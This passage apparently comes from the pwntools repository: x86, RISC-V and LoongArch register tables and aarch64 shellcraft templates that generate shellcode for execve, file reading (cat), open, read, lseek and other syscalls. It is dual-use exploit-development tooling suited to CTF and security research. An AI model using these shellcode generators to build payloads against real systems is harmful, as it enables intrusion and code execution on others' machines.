'a5': 15,\n    'x16': 16, 'a6': 16,\n    'x17': 17, 'a7': 17,\n    'x18': 18, 's2': 18,\n    'x19': 19, 's3': 19,\n    'x20': 20, 's4': 20,\n    'x21': 21, 's5': 21,\n    'x22': 22, 's6': 22,\n    'x23': 23, 's7': 23,\n    'x24': 24, 's8': 24,\n    'x25': 25, 's9': 25,\n    'x26': 26, 's10': 26,\n    'x27': 27, 's11': 27,\n    'x28': 28, 't3': 28,\n    'x29': 29, 't4': 29,\n    'x30': 30, 't5': 30,\n    'x31': 31, 't6': 31,\n}\n\nriscv_list = list(riscv)\n\nloongarch64 = {\n    'r0' :  0, 'zero': 0,\n    'r1' :  1, 'ra':  1,\n    'r2' :  2, 'tp':  2,\n    'r3' :  3, 'sp':  3,\n    'r4' :  4, 'a0':  4, 'v0':  4,\n    'r5' :  5, 'a1':  5, 'v1':  5,\n    'r6' :  6, 'a2':  6,\n    'r7' :  7, 'a3':  7,\n    'r8' :  8, 'a4':  8,\n    'r9' :  9, 'a5':  9,\n    'r10': 10, 'a6': 10,\n    'r11': 11, 'a7': 11,\n    'r12': 12, 't0': 12,\n    'r13': 13, 't1': 13,\n    'r14': 14, 't2': 14,\n    'r15': 15, 't3': 15,\n    'r16': 16, 't4': 16,\n    'r17': 17, 't5': 17,\n    'r18': 18, 't6': 18,\n    'r19': 19, 't7': 19,\n    'r20': 20, 't8': 20,\n    'r21': 21, 'u0': 21, # u0 is only used by Linux kernel\n    'r22': 22, 'fp': 22, 's9': 22,\n    'r23': 23, 's0': 23,\n    'r24': 24, 's1': 24,\n    'r25': 25, 's2': 25,\n    'r26': 26, 's3': 26,\n    'r27': 27, 's4': 27,\n    'r28': 28, 't5': 28,\n    'r29': 29, 't6': 29,\n    'r30': 30, 't7': 30,\n    'r31': 31, 't8': 31,\n}\n\nloongarch64_list = list(loongarch64)\n\n# x86/amd64 registers in decreasing size\ni386_ordered = [\n    ['rax', 'eax', 'ax', 'al'],\n    ['rbx', 'ebx', 'bx', 'bl'],\n    ['rcx', 'ecx', 'cx', 'cl'],\n    ['rdx', 'edx', 'dx', 'dl'],\n    ['rdi', 'edi', 'di', 'dil'],\n    ['rsi', 'esi', 'si', 'sil'],\n    ['rbp', 'ebp', 'bp', 'bpl'],\n    ['rsp', 'esp', 'sp', 'spl'],\n    ['r8', 'r8d', 'r8w', 'r8b'],\n    ['r9', 'r9d', 'r9w', 'r9b'],\n    ['r10', 'r10d', 'r10w', 'r10b'],\n    ['r11', 'r11d', 'r11w', 'r11b'],\n    ['r12', 'r12d', 'r12w', 'r12b'],\n    ['r13', 'r13d', 'r13w', 'r13b'],\n    ['r14', 'r14d', 'r14w', 'r14b'],\n    ['r15', 'r15d', 'r15w', 'r15b']\n]\n\nall_regs, sizes, bigger, smaller = register_sizes(i386_ordered, [64, 32, 16, 8, 8])\nnative64 = {k:v[0] for k,v in bigger.items()}\nnative32 = {k:v[1] for k,v in bigger.items() if not k.startswith('r')}\n\nclass Register(object):\n    #: Register name\n    name = None\n\n    #: List of larger registers, in order from largest to smallest\n    bigger = None\n\n    #: List of smaller regsters, in order from smallest to largest\n    smaller = None\n\n    #: Size of the register, in bits\n    size = None\n\n    #: Does this register have a 'high' register for mask 0xff00\n    ff00 = None\n\n    #: Flags for 64-bit mode.64-bit\n    #: The first bit is set, if the register can be used with a REX-mode\n    #: The second bit is set, if the register can be used without a REX-prefix\n    rex_mode = 0\n\n    #: Is this a 64-bit only register?\n    is64bit = False\n\n    #: Name of the native 64-bit register\n    native64 = None\n\n    #: Name of the native 32-bit register\n    native32 = None\n\n    #: Name of the register which should be used to clear\n    #: this register, e.g. xor REG, REG.\n    #: Useful for AMD64 for xor eax, eax is shorter than\n    #: xor rax, rax and has the same effect.\n    xor = None\n\n    def __init__(self, name, size):\n        self.name = name\n        self.size = size\n\n        for row in i386_ordered:\n            if name in row:\n                self.bigger  = row[0:row.index(name)]\n                self.smaller = row[row.index(name)+1:]\n                self.sizes   = {64>>i:r for i,r in enumerate(row)}\n                self.native64 = row[0]\n                self.native32 = row[1]\n                self.xor = self.sizes[min(self.size, 32)]\n\n        if self.size >= 32 and name.endswith('x'):\n            self.ff00 = name[1] + 'h'\n\n        if name[-1] != 'h':\n            self.rex_mode |= 1\n\n        if name[0] != 'r':\n            self.rex_mode |= 2\n\n        if name.startswith('r') or name[1:3].isdigit():\n            self.is64bit = True\n\n    @property\n    def bits(self):\n        return self.size\n\n    @property\n    def bytes(self):\n        return self.bits // 8\n\n    def fits(self, value):\n        return self.size >= bits_required(value)\n\n    def __str__(self):\n        return self.name\n\n    def __repr__(self):\n        return \"Register(%r)\" % self.name\n\nintel = {}\n\nfor row in i386_ordered:\n    for i, reg in enumerate(row):\n        intel[reg] = Register(reg, 64 >> i)\n\ndef get_register(name):\n    if isinstance(name, Register):\n        return name\n    if isinstance(name, str):\n        return intel.get(name, None)\n    return None\n\ndef is_register(obj):\n    if isinstance(obj, Register):\n        return True\n    return get_register(obj)\n\n\ndef bits_required(value):\n    bits  = 0\n\n    if value < 0:\n        value = -(value)\n\n    while value:\n        value >>= 8\n        bits += 8\n    return bits\n\ndef current():\n    return {\n        'i386': i386,\n        'amd64': amd64,\n        'arm': arm,\n        'thumb': arm,\n        'aarch64': aarch64,\n        'mips': mips_list,\n        'powerpc': powerpc,\n        'riscv32': riscv,\n        'riscv64': riscv,\n        'loongarch64': loongarch64,\n    }[context.arch]\n\n# def is_register(sz):\n#     try:\n#         sz = sz.lower()\n#         return sz.lower() in {\n#         'i386': i386,\n#         'amd64': amd64,\n#         'powerpc': powerpc,\n#         'sparc': sparc,\n#         'arm': arm,\n#         'aarch64': arm,\n#         'thumb': arm,\n#         'mips': mips,\n#         'mips64': mips\n#         }[context.arch]\n#     except:\n#         return False\n\ndef register_size(reg):\n    return sizes[reg]\n\ndef fits_in_register(reg, value):\n    return register_size(reg) >= bits_required(value)\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/__doc__",
    "content": "The shellcode module.\n\nThis module contains functions for generating shellcode.\n\nIt is organized first by architecture and then by operating system.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/breakpoint.asm",
    "content": "<% import pwnlib.shellcraft as S %>\n<%docstring>\nInserts a debugger breakpoint (raises SIGTRAP).\n\nExample:\n\n    >>> run_assembly(shellcraft.breakpoint()).poll(True)\n    -5\n</%docstring>\n    brk #0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/crash.asm",
    "content": "<% import pwnlib.shellcraft as S %>\n<%docstring>\nCrashes the process.\n\nExample:\n\n    >>> run_assembly(shellcraft.crash()).poll(True)\n    -11\n</%docstring>\n    ${S.mov('x30', 0)}\n    ret\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/cat.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'This is the flag\\n')\n    >>> shellcode = shellcraft.cat(f) + shellcraft.exit(0)\n    >>> run_assembly(shellcode).recvline()\n    b'This is the flag\\n'\n</%docstring>\n<%\nif fd == 'x0':\n  raise Exception(\"File descriptor cannot be x0, it will be overwritten\")\nraise Exception(\"not implemented, please use 'cat2'\")\n%>\n    ${shellcraft.open(filename)}\n    /* osx: int sendfile(int fd, int s, off_t offset, off_t *len, struct sf_hdtr *hdtr, int flags); */\n    /* linux: ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); */\n    ${shellcraft.syscall('SYS_sendfile', fd, 'x0', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/cat2.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'This is the flag\\n')\n    >>> shellcode = shellcraft.cat2(f) + shellcraft.exit(0)\n    >>> run_assembly(shellcode).recvline()\n    b'This is the flag\\n'\n</%docstring>\n<%\nif fd == 'x0':\n  raise Exception(\"File descriptor cannot be x0, it will be overwritten\")\n%>\n    ${shellcraft.open(filename)}\n    ${shellcraft.mov('x2', length)}\n    sub sp, sp, x2\n    ${shellcraft.read('x0', 'sp', 'x2')}\n    ${shellcraft.write(fd, 'sp', 'x0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/open.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, flags='O_RDONLY', mode='x3'\"/>\n<%docstring>\nOpens a file\n</%docstring>\n    ${shellcraft.pushstr(filename)}\n    ${shellcraft.syscall('SYS_open', 'sp', flags, mode)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import aarch64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import darwin_aarch64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n    >>> print(shellcraft.aarch64.darwin.syscall(11, 1, 'sp', 2, 0).rstrip())\n        /* call syscall(11, 1, 'sp', 2, 0) */\n        mov  x0, #1\n        mov  x1, sp\n        mov  x2, #2\n        mov  x3, xzr\n        mov  x16, #11\n        svc 0\n    >>> print(shellcraft.aarch64.darwin.syscall('SYS_exit', 0).rstrip())\n        /* call exit(0) */\n        mov  x0, xzr\n        mov  x16, #SYS_exit\n        svc 0\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${aarch64.setregs(regctx)}\n%for arg in stack_args:\n    ${aarch64.push(arg)}\n%endfor\n    svc 0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/execve.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>execve(path, argv, envp) -> str\n\nInvokes the syscall execve.\n\nSee 'man 2 execve' for more information.\n\nArguments:\n    path(char*): path\n    argv(char**): argv\n    envp(char**): envp\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, argv=0, envp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = ['argv', 'envp']\n\n    argument_names = ['path', 'argv', 'envp']\n    argument_values = [path, argv, envp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_execve']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* execve(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/exit.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>exit(status) -> str\n\nInvokes the syscall exit.\n\nSee 'man 2 exit' for more information.\n\nArguments:\n    status(int): status\nReturns:\n    void\n</%docstring>\n<%page args=\"status=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['status']\n    argument_values = [status]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_exit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* exit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/getdirentries64.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getdirentries64(fd, buf, bufsize, position) -> str\n\nInvokes the syscall getdirentries64.\n\nSee 'man 2 getdirentries64' for more information.\n\nArguments:\n    fd(int): fd\n    buf(char*): buf\n    bufsize(user_size_t): bufsize\n    position(off_t*): position\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, bufsize=0, position=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'bufsize', 'position']\n    argument_values = [fd, buf, bufsize, position]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            print('index', index, name)\n            print('regs', regs)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getdirentries64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* getdirentries64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/getxattr.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getxattr(path, name, value, size) -> str\n\nInvokes the syscall getxattr.\n\nSee 'man 2 getxattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\n    value(void*): value\n    size(size_t): size\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"path=0, name=0, value=0, size=0, position=0, options=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name', 'value']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name', 'value', 'size', 'position', 'options']\n    argument_values = [path, name, value, size, position, options]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            print('index', index, name)\n            print('regs', regs)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getxattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* getxattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/lseek.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>lseek(fd, offset, whence) -> str\n\nInvokes the syscall lseek.\n\nSee 'man 2 lseek' for more information.\n\nArguments:\n    fd(int): fd\n    offset(off_t): offset\n    whence(int): whence\nReturns:\n    off_t\n</%docstring>\n<%page args=\"fd=0, offset=0, whence=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'offset', 'whence']\n    argument_values = [fd, offset, whence]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_lseek']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* lseek(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/read.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>read(fd, buf, nbytes) -> str\n\nInvokes the syscall read.\n\nSee 'man 2 read' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    nbytes(size_t): nbytes\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, nbytes=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'nbytes']\n    argument_values = [fd, buf, nbytes]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_read']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* read(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    